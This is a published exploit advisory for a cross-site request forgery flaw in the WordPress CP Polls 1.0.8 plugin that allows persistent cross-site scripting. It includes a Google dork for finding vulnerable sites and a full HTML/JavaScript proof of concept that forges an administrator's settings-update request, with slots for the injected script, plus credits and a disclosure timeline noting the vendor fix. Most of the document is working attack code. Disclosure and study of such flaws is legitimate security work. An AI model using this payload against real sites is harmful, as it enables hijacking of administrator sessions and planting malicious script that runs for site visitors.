WordPress CP Polls 1.0.8 Cross Site Request Forgery / Cross Site Scripting
Posted on 03 March 2016
# Exploit Title: WordPress CP Polls 1.0.8 - CSRF - Update poll settings & Persistent XSS # Date: 2016-02-22 # Google Dork: Index of /wp-content/plugins/cp-polls/ # Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ] # Plugin URI: http://wordpress.dwbooster.com/forms/cp-polls # Version: 1.0.8 ============= Description ============= With **CP Polls** you can publish a poll into a page/post and optionally display statistics of the results. You can receive email notifications every time a vote is added or opt to receive Excel reports periodically. The Polls can have dependant questions, this means that some questions are displayed depending of the selection made on other questions. (copy of README.txt) =================== Technical details =================== CP Polls plugin for wordpress is vulnerable to Persistent Cross-site scripting is not sanitizing the values of the options before savinng to database. This issue can be exploited by an attacker with CSRF by sending a malicious link to a wordpress administrator. If administrator clicks the link, the action will be executed because there isn't CSRF protection. ========================= Proof of Concept (html) ========================= <html> <!-- CSRF PoC - Burp Suite i0 SecLab plugin --> <!-- We can find the Poll id into the source code of a post with a cp poll and looking for ´CP_Polls_id´. We can find something like: <input type="hidden" name="CP_Polls_id" value="4" /> 4 is the Poll's id, now we have the id and we can make a csrf attack. --> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://localhost:80/wordpress/wp-admin/options-general.php?page=CP_Polls&cal=1", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.setRequestHeader("Accept-Language", "es-MX,es-ES;q=0.9,es;q=0.7,es-AR;q=0.6,es-CL;q=0.4,en-US;q=0.3,en;q=0.1"); xhr.withCredentials = true; var body = "CP_Polls_post_options=1&CP_Polls_id= [ Poll id to update! ]&poll_limit=2&poll_private_reports=false&poll_see_results=true&poll_text_seeres= [PERSISTENT CODE INJECT HERE] &poll_text_private=s&poll_text_votes=votes&fp_return_page=&form_structure=%5B%5B%7B%22form_identifier%22%3A%22%22%2C%22name%22%3A%22fieldname1%22%2C%22shortlabel%22%3A%22%22%2C%22index%22%3A0%2C%22ftype%22%3A%22fradio%22%2C%22userhelp%22%3A%22%22%2C%22userhelpTooltip%22%3Afalse%2C%22csslayout%22%3A%22%22%2C%22title%22%3A%22Select+a+Choice%22%2C%22layout%22%3A%22one_column%22%2C%22required%22%3Atrue%2C%22choiceSelected%22%3A%22%22%2C%22showDep%22%3Afalse%2C%22choices%22%3A%5B%22First+Choice%22%2C%22Second+Choice%22%2C%22Third+Choice%22%5D%2C%22choicesVal%22%3A%5B%22First+Choice%22%2C%22Second+Choice%22%2C%22Third+Choice%22%5D%2C%22choicesDep%22%3A%5B%5B%5D%2C%5B%5D%2C%5B%5D%5D%2C%22fBuild%22%3A%7B%7D%7D%5D%2C%5B%7B%22title%22%3A%22 [PERSISTENT CODE INJECT HERE] %22%2C%22description%22%3A%22 [PERSISTENT CODE INJECT HERE] %22%2C%22formlayout%22%3A%22top_aligned%22%2C%22formtemplate%22%3A%22%22%7D%5D%5D&vs_text_submitbtn= [PERSISTENT CODE INJECT HERE] &vs_text_previousbtn=Previous&vs_text_nextbtn=Next&vs_use_validation=true&vs_text_is_required=This+field+is+required.&cv_text_enter_valid_captcha= [PERSISTENT CODE INJECT HERE] .&vs_text_is_email=Please+enter+a+valid+email+address.&vs_text_datemmddyyyy=Please+enter+a+valid+date+with+this+format%28mm%2Fdd%2Fyyyy%29&vs_text_dateddmmyyyy=Please+enter+a+valid+date+with+this+format%28dd%2Fmm%2Fyyyy%29&vs_text_number=Please+enter+a+valid+number.&vs_text_digits=Please+enter+only+digits.&vs_text_max=Please+enter+a+value+less+than+or+equal+to+%7B0%7D.&vs_text_min=Please+enter+a+value+greater+than+or+equal+to+%7B0%7D.&fp_emailfrommethod=fixed&fp_from_email=admin%40localhost.com&fp_destination_emails=admin%40localhost.com&fp_subject=Contact+from+the+blog...&fp_inc_additional_info=true&fp_emailformat=text&fp_message=The+following+contact+message+has+been+sent%3A%0D%0A%0D%0A%3C%25INFO%25%3E%0D%0A%0D%0A&cu_enable_copy_to_user=false&cu_subject=Confirmation%3A+Message+received...&cu_emailformat=text&cu_message=Thank+you+for+your+message.+We+will+reply+you+as+soon+as+possible.%0D%0A%0D%0AThis+is+a+copy+of+the+data+sent%3A%0D%0A%0D%0A%3C%25INFO%25%3E%0D%0A%0D%0ABest+Regards.&cv_enable_captcha=false&cv_width=170&cv_height=60&cv_chars=5&cv_min_font_size=25&cv_max_font_size=35&cv_noise=200&cv_noise_length=4&cv_background=ffffff&cv_border=000000&cv_font=font-1.ttf&rep_enable=no&rep_days=1&rep_hour=0&rep_emails=&rep_subject=as&rep_emailformat=text&rep_message=Attached+you+will+find+the+data+from+the+form+submissions.&submit=Save+Changes"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html> ========== CREDITS ========== Vulnerability discovered by: Joaquin Ramirez Martinez [i0 security-lab] joaquin.ramirez.mtz.lab[at]gmail[dot]com https://www.facebook.com/I0-security-lab-524954460988147/ https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q ======== TIMELINE ======== 2016-02-10 vulnerability discovered 2016-02-22 reported to vendor 2016-03-01 released cp polls v1.0.9 2016-03-01 public disclousure
